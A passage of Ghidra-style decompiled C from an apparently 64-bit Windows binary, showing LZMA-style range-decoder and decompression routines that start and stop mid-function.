iVar4 = (*(code *)param_2)(param_3,param_1,local_178);
}
uVar7 = 0xe;
LAB_140002647:
FUN_140003aa0((longlong)&local_108,param_1 + 0x50000);
}
else {
(**(code **)(param_1 + 0x50008))(puVar1);
uVar7 = 0x10;
}
}
else {
(**(code **)(param_1 + 0x50008))(puVar1,puVar6);
uVar7 = 0xe;
}
return uVar7;
}
undefined8 FUN_1400026d0(undefined8 *param_1,byte *param_2,uint param_3,undefined8 *param_4)
{
byte bVar1;
uint uVar2;
ulonglong uVar3;
longlong lVar4;
undefined8 uVar5;
int iVar6;
uint uVar7;
ulonglong uVar8;
uint uVar9;
if (param_3 < 5) {
return 4;
}
uVar2 = *(uint *)(param_2 + 1);
if (*(uint *)(param_2 + 1) < 0x1000) {
uVar2 = 0x1000;
}
bVar1 = *param_2;
if (0xe0 < bVar1) {
return 4;
}
uVar9 = (uint)bVar1 % 9;
uVar3 = (ulonglong)(uint)bVar1 / 9;
iVar6 = (int)uVar3 + (int)(uVar3 / 5) * -5;
uVar7 = (0x300 << ((char)iVar6 + (char)uVar9 & 0x1fU)) + 0x736;
if ((param_1[2] == 0) || (uVar7 != *(uint *)(param_1 + 0xd))) {
(*(code *)param_4[1])(param_4);
param_1[2] = 0;
lVar4 = (*(code *)*param_4)(param_4,(ulonglong)uVar7 * 2);
param_1[2] = lVar4;
*(uint *)(param_1 + 0xd) = uVar7;
if (lVar4 != 0) goto LAB_1400027c4;
LAB_140002809:
uVar5 = 2;
}
else {
LAB_1400027c4:
uVar8 = (ulonglong)uVar2;
if ((param_1[3] == 0) || (uVar8 != param_1[7])) {
(*(code *)param_4[1])(param_4);
param_1[3] = 0;
lVar4 = (*(code *)*param_4)(param_4,uVar8);
param_1[3] = lVar4;
if (lVar4 == 0) {
(*(code *)param_4[1])(param_4,param_1[2]);
param_1[2] = 0;
goto LAB_140002809;
}
}
param_1[7] = uVar8;
uVar5 = 0;
*param_1 = CONCAT44(iVar6,uVar9);
param_1[1] = CONCAT44(uVar2,(int)(uVar3 / 5));
}
return uVar5;
}
undefined8 FUN_140002840(undefined4 *param_1,ulonglong param_2,byte *param_3)
{
short *psVar1;
ushort uVar2;
undefined4 uVar3;
undefined4 uVar4;
undefined4 uVar5;
uint uVar6;
longlong lVar7;
longlong lVar8;
ulonglong uVar9;
uint uVar10;
uint uVar11;
short sVar12;
uint uVar13;
uint uVar14;
uint uVar15;
uint uVar16;
longlong lVar17;
undefined *puVar18;
ulonglong uVar19;
longlong lVar20;
ulonglong uVar21;
short *psVar22;
uint uVar23;
int iVar24;
ulonglong uVar25;
undefined *puVar26;
uint uVar27;
uint uVar28;
byte *pbVar29;
ulonglong uVar30;
uint uVar31;
bool bVar32;
uint local_res20;
uint local_88;
uint local_84;
uint local_80;
uint local_7c;
local_88 = param_1[0x13];
uVar28 = param_1[0x16];
lVar7 = *(longlong *)(param_1 + 4);
iVar24 = 0;
uVar31 = param_1[0x12];
uVar3 = *param_1;
lVar8 = *(longlong *)(param_1 + 6);
local_res20 = param_1[0x10];
uVar30 = *(ulonglong *)(param_1 + 0xc);
pbVar29 = *(byte **)(param_1 + 8);
uVar27 = param_1[10];
local_84 = param_1[0x14];
local_80 = param_1[0x15];
uVar4 = param_1[2];
uVar5 = param_1[1];
uVar9 = *(ulonglong *)(param_1 + 0xe);
uVar6 = param_1[0x11];
uVar11 = param_1[0xb];
local_7c = uVar28;
do {
uVar23 = local_res20 & (1 << ((byte)uVar4 & 0x1f)) - 1U;
lVar20 = (ulonglong)(uVar31 << 4) + (ulonglong)uVar23;
uVar2 = *(ushort *)(lVar7 + lVar20 * 2);
if (uVar27 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
uVar13 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar13) {
lVar17 = lVar7 + 0xe6c;
*(ushort *)(lVar7 + lVar20 * 2) = (short)(0x800 - uVar2 >> 5) + uVar2;
if ((uVar6 != 0) || (local_res20 != 0)) {
uVar25 = uVar30;
if (uVar30 == 0) {
uVar25 = uVar9;
}
lVar17 = lVar17 + (ulonglong)
(((uint)(*(byte *)((uVar25 - 1) + lVar8) >> (8 - (byte)uVar3 & 0x1f)) +
((local_res20 & (1 << ((byte)uVar5 & 0x1f)) - 1U) << ((byte)uVar3 & 0x1f)
)) * 0x300) * 2;
}
uVar25 = 1;
uVar27 = uVar13;
if (uVar31 < 7) {
do {
uVar2 = *(ushort *)(lVar17 + uVar25 * 2);
lVar20 = uVar25 * 2;
if (uVar27 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
uVar23 = (int)uVar25 * 2;
uVar13 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar13) {
sVar12 = (short)(0x800 - uVar2 >> 5);
uVar27 = uVar13;
}
else {
uVar27 = uVar27 - uVar13;
uVar11 = uVar11 - uVar13;
uVar23 = uVar23 + 1;
sVar12 = -(uVar2 >> 5);
}
uVar25 = (ulonglong)uVar23;
*(ushort *)(lVar17 + lVar20) = sVar12 + uVar2;
} while (uVar23 < 0x100);
}
else {
uVar21 = 0x100;
uVar19 = 0;
if (uVar30 < local_88) {
uVar19 = uVar9;
}
uVar23 = (uint)*(byte *)((uVar19 - local_88) + *(longlong *)(param_1 + 6) + uVar30);
do {
uVar23 = uVar23 * 2;
uVar28 = (uint)uVar21 & uVar23;
lVar20 = uVar28 + uVar21 + uVar25;
uVar2 = *(ushort *)(lVar17 + lVar20 * 2);
if (uVar27 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
uVar13 = (int)uVar25 * 2;
uVar14 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar14) {
uVar28 = ~uVar28;
sVar12 = (short)(0x800 - uVar2 >> 5);
uVar27 = uVar14;
}
else {
uVar27 = uVar27 - uVar14;
uVar11 = uVar11 - uVar14;
uVar13 = uVar13 + 1;
sVar12 = -(uVar2 >> 5);
}
uVar25 = (ulonglong)uVar13;
uVar21 = (ulonglong)((uint)uVar21 & uVar28);
*(ushort *)(lVar17 + lVar20 * 2) = sVar12 + uVar2;
uVar28 = local_7c;
} while (uVar13 < 0x100);
}
*(char *)(uVar30 + lVar8) = (char)uVar25;
uVar30 = uVar30 + 1;
uVar31 = (uint)(byte)(&DAT_140006110)[uVar31];
local_res20 = local_res20 + 1;
}
else {
uVar27 = uVar27 - uVar13;
uVar25 = (ulonglong)uVar31;
uVar11 = uVar11 - uVar13;
*(ushort *)(lVar7 + lVar20 * 2) = uVar2 - (uVar2 >> 5);
uVar2 = *(ushort *)(lVar7 + 0x180 + uVar25 * 2);
if (uVar27 < 0x1000000) {
uVar11 = uVar11 * 0x100 | (uint)*pbVar29;
uVar27 = uVar27 * 0x100;
pbVar29 = pbVar29 + 1;
}
uVar14 = (uVar27 >> 0xb) * (uint)uVar2;
uVar13 = uVar28;
if (uVar11 < uVar14) {
*(ushort *)(lVar7 + 0x180 + uVar25 * 2) = (short)(0x800 - uVar2 >> 5) + uVar2;
uVar31 = uVar31 + 0xc;
lVar20 = 0x664;
}
else {
uVar27 = uVar27 - uVar14;
uVar11 = uVar11 - uVar14;
*(ushort *)(lVar7 + 0x180 + uVar25 * 2) = uVar2 - (uVar2 >> 5);
if ((uVar6 == 0) && (local_res20 == 0)) {
return 1;
}
uVar2 = *(ushort *)(lVar7 + 0x198 + uVar25 * 2);
if (uVar27 < 0x1000000) {
uVar11 = uVar11 * 0x100 | (uint)*pbVar29;
uVar27 = uVar27 * 0x100;
pbVar29 = pbVar29 + 1;
}
uVar14 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar14) {
*(ushort *)(lVar7 + 0x198 + uVar25 * 2) = (short)(0x800 - uVar2 >> 5) + uVar2;
uVar2 = *(ushort *)(lVar7 + 0x1e0 + lVar20 * 2);
if (uVar14 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar14 = uVar14 * 0x100;
pbVar29 = pbVar29 + 1;
}
uVar27 = (uVar14 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar27) {
*(ushort *)(lVar7 + 0x1e0 + lVar20 * 2) = (short)(0x800 - uVar2 >> 5) + uVar2;
uVar25 = 0;
if (uVar30 < local_88) {
uVar25 = uVar9;
}
local_res20 = local_res20 + 1;
*(undefined *)(uVar30 + lVar8) = *(undefined *)((uVar25 - local_88) + uVar30 + lVar8);
uVar30 = uVar30 + 1;
bVar32 = uVar31 < 7;
uVar31 = 0xb;
if (bVar32) {
uVar31 = 9;
}
goto LAB_140003538;
}
uVar14 = uVar14 - uVar27;
uVar11 = uVar11 - uVar27;
*(ushort *)(lVar7 + 0x1e0 + lVar20 * 2) = uVar2 - (uVar2 >> 5);
}
else {
uVar27 = uVar27 - uVar14;
uVar11 = uVar11 - uVar14;
*(ushort *)(lVar7 + 0x198 + uVar25 * 2) = uVar2 - (uVar2 >> 5);
uVar2 = *(ushort *)(lVar7 + 0x1b0 + uVar25 * 2);
if (uVar27 < 0x1000000) {
uVar11 = uVar11 * 0x100 | (uint)*pbVar29;
uVar27 = uVar27 * 0x100;
pbVar29 = pbVar29 + 1;
}
uVar14 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar14) {
*(ushort *)(lVar7 + 0x1b0 + uVar25 * 2) = (short)(0x800 - uVar2 >> 5) + uVar2;
uVar28 = local_84;
}
else {
uVar27 = uVar27 - uVar14;
uVar11 = uVar11 - uVar14;
*(ushort *)(lVar7 + 0x1b0 + uVar25 * 2) = uVar2 - (uVar2 >> 5);
uVar2 = *(ushort *)(lVar7 + 0x1c8 + uVar25 * 2);
if (uVar27 < 0x1000000) {
uVar11 = uVar11 * 0x100 | (uint)*pbVar29;
uVar27 = uVar27 * 0x100;
pbVar29 = pbVar29 + 1;
}
uVar15 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar15) {
sVar12 = (short)(0x800 - uVar2 >> 5);
uVar14 = uVar15;
uVar28 = local_80;
}
else {
uVar14 = uVar27 - uVar15;
uVar11 = uVar11 - uVar15;
local_7c = local_80;
sVar12 = -(uVar2 >> 5);
uVar13 = local_80;
}
local_80 = local_84;
*(ushort *)(lVar7 + 0x1c8 + uVar25 * 2) = sVar12 + uVar2;
}
local_84 = local_88;
local_88 = uVar28;
}
bVar32 = uVar31 < 7;
uVar31 = 0xb;
if (bVar32) {
uVar31 = 8;
}
lVar20 = 0xa68;
}
uVar10 = local_80;
uVar15 = local_84;
uVar28 = 8;
uVar2 = *(ushort *)(lVar20 + lVar7);
psVar1 = (short *)(lVar20 + lVar7);
if (uVar14 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar14 = uVar14 << 8;
pbVar29 = pbVar29 + 1;
}
uVar27 = (uVar14 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar27) {
psVar22 = psVar1 + (ulonglong)(uVar23 * 8) + 2;
*psVar1 = (short)(0x800 - uVar2 >> 5) + uVar2;
iVar24 = 0;
}
else {
uVar14 = uVar14 - uVar27;
uVar11 = uVar11 - uVar27;
*psVar1 = uVar2 - (uVar2 >> 5);
uVar2 = psVar1[1];
if (uVar14 < 0x1000000) {
uVar11 = uVar11 * 0x100 | (uint)*pbVar29;
uVar14 = uVar14 * 0x100;
pbVar29 = pbVar29 + 1;
}
uVar16 = (uVar14 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar16) {
psVar22 = psVar1 + (ulonglong)(uVar23 * 8) + 0x82;
iVar24 = 8;
psVar1[1] = (short)(0x800 - uVar2 >> 5) + uVar2;
uVar27 = uVar16;
}
else {
uVar27 = uVar14 - uVar16;
psVar22 = psVar1 + 0x102;
uVar11 = uVar11 - uVar16;
iVar24 = 0x10;
uVar28 = 0x100;
psVar1[1] = uVar2 - (uVar2 >> 5);
}
}
uVar25 = 1;
do {
uVar2 = psVar22[uVar25];
psVar1 = psVar22 + uVar25;
if (uVar27 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
uVar23 = (int)uVar25 * 2;
uVar14 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar14) {
sVar12 = (short)(0x800 - uVar2 >> 5);
uVar27 = uVar14;
}
else {
uVar27 = uVar27 - uVar14;
uVar11 = uVar11 - uVar14;
uVar23 = uVar23 + 1;
sVar12 = -(uVar2 >> 5);
}
uVar25 = (ulonglong)uVar23;
*psVar1 = sVar12 + uVar2;
} while (uVar23 < uVar28);
uVar23 = uVar23 + (iVar24 - uVar28);
uVar28 = uVar13;
if (0xb < uVar31) {
uVar28 = 3;
if (uVar23 < 4) {
uVar28 = uVar23;
}
lVar20 = (ulonglong)(uVar28 << 6) + 0x1b0;
uVar2 = *(ushort *)(lVar7 + 2 + lVar20 * 2);
if (uVar27 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
uVar28 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar28) {
sVar12 = (short)(0x800 - uVar2 >> 5);
lVar17 = 2;
uVar14 = 4;
uVar27 = uVar28;
}
else {
uVar27 = uVar27 - uVar28;
uVar11 = uVar11 - uVar28;
sVar12 = -(uVar2 >> 5);
lVar17 = 3;
uVar14 = 6;
}
*(ushort *)(lVar7 + 2 + lVar20 * 2) = sVar12 + uVar2;
lVar17 = (lVar20 + lVar17) * 2;
uVar2 = *(ushort *)(lVar17 + lVar7);
if (uVar27 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
uVar28 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar28) {
sVar12 = (short)(0x800 - uVar2 >> 5);
uVar27 = uVar28;
}
else {
uVar27 = uVar27 - uVar28;
uVar11 = uVar11 - uVar28;
uVar14 = uVar14 + 1;
sVar12 = -(uVar2 >> 5);
}
*(ushort *)(lVar17 + lVar7) = sVar12 + uVar2;
lVar17 = ((ulonglong)uVar14 + lVar20) * 2;
uVar2 = *(ushort *)(lVar17 + lVar7);
if (uVar27 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
uVar14 = uVar14 * 2;
uVar28 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar28) {
sVar12 = (short)(0x800 - uVar2 >> 5);
uVar27 = uVar28;
}
else {
uVar27 = uVar27 - uVar28;
uVar11 = uVar11 - uVar28;
uVar14 = uVar14 + 1;
sVar12 = -(uVar2 >> 5);
}
*(ushort *)(lVar17 + lVar7) = sVar12 + uVar2;
lVar17 = ((ulonglong)uVar14 + lVar20) * 2;
uVar2 = *(ushort *)(lVar17 + lVar7);
if (uVar27 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
uVar14 = uVar14 * 2;
uVar28 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar28) {
sVar12 = (short)(0x800 - uVar2 >> 5);
uVar27 = uVar28;
}
else {
uVar27 = uVar27 - uVar28;
uVar11 = uVar11 - uVar28;
uVar14 = uVar14 + 1;
sVar12 = -(uVar2 >> 5);
}
*(ushort *)(lVar17 + lVar7) = sVar12 + uVar2;
lVar17 = ((ulonglong)uVar14 + lVar20) * 2;
uVar2 = *(ushort *)(lVar17 + lVar7);
if (uVar27 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
uVar14 = uVar14 * 2;
uVar28 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar28) {
sVar12 = (short)(0x800 - uVar2 >> 5);
uVar27 = uVar28;
}
else {
uVar27 = uVar27 - uVar28;
uVar11 = uVar11 - uVar28;
uVar14 = uVar14 + 1;
sVar12 = -(uVar2 >> 5);
}
*(ushort *)(lVar17 + lVar7) = sVar12 + uVar2;
lVar20 = ((ulonglong)uVar14 + lVar20) * 2;
uVar2 = *(ushort *)(lVar20 + lVar7);
if (uVar27 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
iVar24 = uVar14 * 2;
uVar28 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar28) {
sVar12 = (short)(0x800 - uVar2 >> 5);
uVar27 = uVar28;
}
else {
uVar27 = uVar27 - uVar28;
uVar11 = uVar11 - uVar28;
iVar24 = iVar24 + 1;
sVar12 = -(uVar2 >> 5);
}
uVar14 = iVar24 - 0x40;
*(ushort *)(lVar20 + lVar7) = sVar12 + uVar2;
if (3 < uVar14) {
iVar24 = (uVar14 >> 1) - 1;
uVar28 = uVar14 & 1 | 2;
if (uVar14 < 0xe) {
uVar28 = uVar28 << ((byte)iVar24 & 0x1f);
uVar13 = 1;
uVar25 = 1;
lVar20 = lVar7 + 0x55e + ((ulonglong)uVar28 - (ulonglong)uVar14) * 2;
uVar14 = uVar28;
do {
uVar2 = *(ushort *)(lVar20 + uVar25 * 2);
lVar17 = uVar25 * 2;
if (uVar27 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
uVar28 = (int)uVar25 * 2;
uVar16 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar16) {
sVar12 = (short)(0x800 - uVar2 >> 5);
uVar27 = uVar16;
}
else {
uVar27 = uVar27 - uVar16;
uVar11 = uVar11 - uVar16;
uVar28 = uVar28 + 1;
uVar14 = uVar14 | uVar13;
sVar12 = -(uVar2 >> 5);
}
uVar25 = (ulonglong)uVar28;
uVar13 = uVar13 * 2;
*(ushort *)(lVar20 + lVar17) = sVar12 + uVar2;
iVar24 = iVar24 + -1;
} while (iVar24 != 0);
}
else {
iVar24 = (uVar14 >> 1) - 5;
do {
if (uVar27 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
uVar27 = uVar27 >> 1;
uVar14 = (int)(uVar11 - uVar27) >> 0x1f;
uVar28 = uVar28 * 2 + 1 + uVar14;
uVar11 = (uVar11 - uVar27) + (uVar14 & uVar27);
iVar24 = iVar24 + -1;
} while (iVar24 != 0);
uVar2 = *(ushort *)(lVar7 + 0x646);
uVar14 = uVar28 * 0x10;
if (uVar27 < 0x1000000) {
uVar11 = uVar11 * 0x100 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
uVar28 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar28) {
sVar12 = (short)(0x800 - uVar2 >> 5);
uVar25 = 4;
uVar27 = uVar28;
}
else {
uVar27 = uVar27 - uVar28;
uVar11 = uVar11 - uVar28;
uVar14 = uVar14 | 1;
sVar12 = -(uVar2 >> 5);
uVar25 = 6;
}
*(ushort *)(lVar7 + 0x646) = sVar12 + uVar2;
lVar20 = uVar25 + lVar7;
uVar2 = *(ushort *)(lVar20 + 0x644);
if (uVar27 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
uVar28 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar28) {
sVar12 = (short)(0x800 - uVar2 >> 5);
uVar27 = uVar28;
}
else {
uVar27 = uVar27 - uVar28;
uVar11 = uVar11 - uVar28;
uVar25 = (ulonglong)((int)uVar25 + 1);
uVar14 = uVar14 | 2;
sVar12 = -(uVar2 >> 5);
}
*(ushort *)(lVar20 + 0x644) = sVar12 + uVar2;
uVar2 = *(ushort *)(uVar25 * 2 + 0x644 + lVar7);
if (uVar27 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
uVar28 = (int)uVar25 * 2;
uVar16 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar16) {
sVar12 = (short)(0x800 - uVar2 >> 5);
uVar27 = uVar16;
}
else {
uVar27 = uVar27 - uVar16;
uVar11 = uVar11 - uVar16;
uVar28 = uVar28 + 1;
uVar14 = uVar14 | 4;
sVar12 = -(uVar2 >> 5);
}
*(ushort *)(uVar25 * 2 + 0x644 + lVar7) = sVar12 + uVar2;
uVar2 = *(ushort *)((ulonglong)uVar28 * 2 + 0x644 + lVar7);
if (uVar27 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
uVar16 = (uVar27 >> 0xb) * (uint)uVar2;
if (uVar11 < uVar16) {
sVar12 = (short)(0x800 - uVar2 >> 5);
uVar27 = uVar16;
}
else {
uVar27 = uVar27 - uVar16;
uVar11 = uVar11 - uVar16;
uVar14 = uVar14 | 8;
sVar12 = -(uVar2 >> 5);
}
*(ushort *)((ulonglong)uVar28 * 2 + 0x644 + lVar7) = sVar12 + uVar2;
if (uVar14 == 0xffffffff) {
iVar24 = uVar23 + 0x112;
uVar31 = uVar31 - 0xc;
LAB_140003568:
if (uVar27 < 0x1000000) {
uVar11 = uVar11 << 8 | (uint)*pbVar29;
uVar27 = uVar27 << 8;
pbVar29 = pbVar29 + 1;
}
param_1[0xb] = uVar11;
param_1[0x10] = local_res20;
param_1[0x13] = local_88;
*(byte **)(param_1 + 8) = pbVar29;
param_1[10] = uVar27;
param_1[0x17] = iVar24;
*(ulonglong *)(param_1 + 0xc) = uVar30;
param_1[0x14] = local_84;
param_1[0x15] = local_80;
param_1[0x16] = uVar13;
param_1[0x12] = uVar31;
return 0;
}
}
}
local_84 = local_88;
local_7c = local_80;
local_80 = uVar15;
uVar28 = uVar6;
if (uVar6 == 0) {
uVar28 = local_res20;
}
if (uVar28 <= uVar14) {
return 1;
}
bVar32 = uVar31 < 0x13;
uVar31 = 10;
uVar28 = uVar10;
local_88 = uVar14 + 1;
if (bVar32) {
uVar31 = 7;
}
}
uVar23 = uVar23 + 2;
if (param_2 == uVar30) {
return 1;
}
uVar25 = (ulonglong)uVar23;
if (param_2 - uVar30 < (ulonglong)uVar23) {
uVar25 = param_2 - uVar30 & 0xffffffff;
}
uVar19 = 0;
if (uVar30 < local_88) {
uVar19 = uVar9;
}
local_res20 = local_res20 + (int)uVar25;
lVar20 = uVar19 - local_88;
iVar24 = uVar23 - (int)uVar25;
uVar19 = lVar20 + uVar30;
if (uVar9 < uVar25 + uVar19) {
do {
*(undefined *)(uVar30 + lVar8) = *(undefined *)(uVar19 + lVar8);
uVar21 = uVar19 + 1;
uVar30 = uVar30 + 1;
uVar19 = 0;
if (uVar21 != uVar9) {
uVar19 = uVar21;
}
uVar23 = (int)uVar25 - 1;
uVar25 = (ulonglong)uVar23;
} while (uVar23 != 0);
}
else {
puVar18 = (undefined *)(uVar30 + lVar8);
puVar26 = puVar18 + uVar25;
uVar30 = uVar30 + uVar25;
do {
*puVar18 = puVar18[lVar20];
puVar18 = puVar18 + 1;
} while (puVar18 != puVar26);
}
}
LAB_140003538:
uVar13 = uVar28;
if ((param_2 <= uVar30) || (param_3 <= pbVar29)) goto LAB_140003568;
} while( true );
}
undefined8 FUN_1400035d0(undefined4 *param_1,ulonglong param_2,byte *param_3)
{
undefined8 uVar1;
ulonglong uVar2;
while( true ) {
uVar2 = param_2;
if (param_1[0x11] == 0) {
if ((ulonglong)(uint)(param_1[3] - param_1[0x10]) < param_2 - *(longlong *)(param_1 + 0xc)) {
uVar2 = (ulonglong)(uint)(param_1[3] - param_1[0x10]) + *(longlong *)(param_1 + 0xc);
}
}
uVar1 = FUN_140002840(param_1,uVar2,param_3);
if ((int)uVar1 != 0) break;
if ((uint)param_1[3] <= (uint)param_1[0x10]) {
param_1[0x11] = param_1[3];
}
FUN_140004110((longlong)param_1,param_2);
if (((param_2 <= *(ulonglong *)(param_1 + 0xc)) || (param_3 <= *(byte **)(param_1 + 8))) ||
(0x111 < (uint)param_1[0x17])) {
if (0x112 < (uint)param_1[0x17]) {
param_1[0x17] = 0x112;
}
return 0;
}
}
return uVar1;
}
bool FUN_140003670(char *param_1,longlong param_2,ulonglong *param_3,byte *param_4,
ulonglong *param_5,uint param_6,undefined4 *param_7)
{
byte bVar1;
int iVar2;
ulonglong uVar3;
undefined8 uVar4;
ulonglong uVar5;
byte *pbVar6;
ulonglong uVar7;
ulonglong uVar8;
uint uVar9;
ulonglong uVar10;
ulonglong uVar11;
uint uVar12;
ulonglong uVar13;
undefined2 *puVar14;
ulonglong uVar15;
byte *pbVar16;
bool bVar17;
longlong local_res10;
byte *local_res20;
ulonglong local_68;
uVar7 = *param_3;
local_68 = *param_5;
*param_3 = 0;
*param_5 = 0;
local_res10 = param_2;
local_res20 = param_4;
do {
uVar15 = 0;
uVar11 = *(ulonglong *)(param_1 + 0x38);
uVar3 = *(ulonglong *)(param_1 + 0x30);
if (*(ulonglong *)(param_1 + 0x30) == uVar11) {
param_1[0x30] = '\0';
param_1[0x31] = '\0';
param_1[0x32] = '\0';
param_1[0x33] = '\0';
param_1[0x34] = '\0';
param_1[0x35] = '\0';
param_1[0x36] = '\0';
param_1[0x37] = '\0';
uVar3 = uVar15;
}
uVar13 = uVar15;
if (uVar7 <= uVar11 - uVar3) {
uVar13 = (ulonglong)param_6;
}
if (uVar7 <= uVar11 - uVar3) {
uVar11 = uVar3 + uVar7;
}
FUN_140004110((longlong)param_1,uVar11);
*param_7 = 0;
iVar2 = *(int *)(param_1 + 0x5c);
pbVar16 = local_res20;
uVar8 = local_68;
while (iVar2 != 0x112) {
if (*(int *)(param_1 + 0x60) != 0) {
while ((uVar8 != 0 && (*(uint *)(param_1 + 0x6c) < 5))) {
uVar15 = uVar15 + 1;
bVar1 = *pbVar16;
pbVar16 = pbVar16 + 1;
param_1[(ulonglong)*(uint *)(param_1 + 0x6c) + 0x70] = bVar1;
*(int *)(param_1 + 0x6c) = *(int *)(param_1 + 0x6c) + 1;
uVar8 = uVar8 - 1;
}
if (*(uint *)(param_1 + 0x6c) < 5) {
bVar17 = false;
*param_7 = 3;
}
else {
if (param_1[0x70] == '\0') {
param_1[0x28] = -1;
param_1[0x29] = -1;
param_1[0x2a] = -1;
param_1[0x2b] = -1;
*(uint *)(param_1 + 0x2c) =
CONCAT31(CONCAT21(CONCAT11(param_1[0x71],param_1[0x72]),param_1[0x73]),
param_1[0x74]);
param_1[0x60] = '\0';
param_1[0x61] = '\0';
param_1[0x62] = '\0';
param_1[99] = '\0';
param_1[0x6c] = '\0';
param_1[0x6d] = '\0';
param_1[0x6e] = '\0';
param_1[0x6f] = '\0';
goto LAB_1400037a6;
}
LAB_14000397c:
bVar17 = true;
}
goto LAB_1400039f0;
}
LAB_1400037a6:
bVar17 = false;
if (uVar11 <= *(ulonglong *)(param_1 + 0x30)) {
if ((*(int *)(param_1 + 0x5c) == 0) && (*(int *)(param_1 + 0x2c) == 0)) {
bVar17 = false;
*param_7 = 4;
}
else {
if ((int)uVar13 != 0) {
if (*(int *)(param_1 + 0x5c) == 0) {
bVar17 = true;
goto LAB_1400037d3;
}
LAB_14000396e:
*param_7 = 2;
goto LAB_14000397c;
}
bVar17 = false;
*param_7 = 2;
}
goto LAB_1400039f0;
}
LAB_1400037d3:
if (*(int *)(param_1 + 100) != 0) {
puVar14 = *(undefined2 **)(param_1 + 0x10);
for (uVar5 = (ulonglong)
((0x300 << ((char)*(undefined4 *)(param_1 + 4) + (char)*(undefined4 *)param_1 &
0x1fU)) + 0x736); uVar5 != 0; uVar5 = uVar5 - 1) {
*puVar14 = 0x400;
puVar14 = puVar14 + 1;
}
param_1[0x58] = '\x01';
param_1[0x59] = '\0';
param_1[0x5a] = '\0';
param_1[0x5b] = '\0';
param_1[0x54] = '\x01';
param_1[0x55] = '\0';
param_1[0x56] = '\0';
param_1[0x57] = '\0';
param_1[0x50] = '\x01';
param_1[0x51] = '\0';
param_1[0x52] = '\0';
param_1[0x53] = '\0';
param_1[0x4c] = '\x01';
param_1[0x4d] = '\0';
param_1[0x4e] = '\0';
param_1[0x4f] = '\0';
param_1[0x48] = '\0';
param_1[0x49] = '\0';
param_1[0x4a] = '\0';
param_1[0x4b] = '\0';
param_1[100] = '\0';
param_1[0x65] = '\0';
param_1[0x66] = '\0';
param_1[0x67] = '\0';
}
uVar12 = *(uint *)(param_1 + 0x6c);
uVar5 = (ulonglong)uVar12;
if (uVar12 == 0) {
if ((uVar8 < 0x14) || (bVar17)) {
uVar4 = FUN_140003b00(param_1,pbVar16,uVar8);
if ((int)uVar4 == 0) {
FUN_1400010d0((longlong)(param_1 + 0x70),(longlong)pbVar16,uVar8);
*(int *)(param_1 + 0x6c) = (int)uVar8;
LAB_1400039b5:
uVar15 = uVar15 + uVar8;
bVar17 = false;
*param_7 = 3;
goto LAB_1400039f0;
}
pbVar6 = pbVar16;
if ((bVar17) && ((int)uVar4 != 2)) goto LAB_14000396e;
}
else {
pbVar6 = pbVar16 + (uVar8 - 0x14);
}
*(byte **)(param_1 + 0x20) = pbVar16;
uVar4 = FUN_1400035d0((undefined4 *)param_1,uVar11,pbVar6);
if ((int)uVar4 != 0) goto LAB_14000397c;
